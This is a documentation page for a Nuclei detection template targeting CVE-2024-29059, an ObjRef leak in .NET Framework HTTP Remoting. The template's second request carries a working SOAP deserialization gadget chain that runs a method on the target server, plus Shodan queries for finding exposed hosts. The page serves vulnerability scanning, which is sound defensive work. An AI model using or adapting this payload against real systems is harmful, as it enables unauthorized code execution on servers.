.NET Framework - Leaking ObjRefs via HTTP .NET Remoting
ID: CVE-2024-29059
Severity: high
Author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch
Tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev
Description
Section titled “Description”.NET Framework Information Disclosure Vulnerability
YAML Source
Section titled “YAML Source”id: CVE-2024-29059
info: name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch severity: high description: .NET Framework Information Disclosure Vulnerability reference: - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059 - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/ - https://github.com/codewhitesec/HttpRemotingObjRefLeak - https://github.com/NaInSec/CVE-LIST - https://github.com/fkie-cad/nvd-json-data-feeds classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-29059 cwe-id: CWE-209 epss-score: 0.01259 epss-percentile: 0.85581 cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: microsoft product: .net_framework shodan-query: - 'Server: MS .NET Remoting' - "server: ms .net remoting" tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev
http: - raw: - | GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1 Host: {{Hostname}} __RequestVerb: POST Content-Type: text/xml
- | POST {{objref}} HTTP/1.1 Host: {{Hostname}} SOAPAction: "" Content-Type: text/xml
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35"> <ForegroundBrush id="ref-3"><ObjectDataProvider MethodName="AddHeader" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:System.Web="clr-namespace:System.Web;assembly=System.Web"><ObjectDataProvider.ObjectInstance><ObjectDataProvider MethodName="get_Response"><ObjectDataProvider.ObjectInstance> <ObjectDataProvider ObjectType="{x:Type System.Web:HttpContext}" MethodName="get_Current" /> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider> </ObjectDataProvider.ObjectInstance> <ObjectDataProvider.MethodParameters> <System:String>X-Vuln-Test</System:String> <System:String>{{randstr}}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider></ForegroundBrush> </a1:TextFormattingRunProperties> </SOAP-ENV:Envelope>
extractors: - type: regex name: objref part: body_1 group: 1 regex: - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)" internal: true
- type: dsl dsl: - x_vuln_test
matchers: - type: dsl dsl: - "contains(body_1,'ObjRef')" - "contains(x_vuln_test,'{{randstr}}')" condition: and# digest: 4a0a0047304502202c0d8b294944dc50da294963954c3346be96d0c5a501f58ad012a19bd152d32d0221008dbe0cd457b94c99bd6a83f8a67589af03e255d5a5c2e4d59fb503d0019c54fd:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-29059.yaml"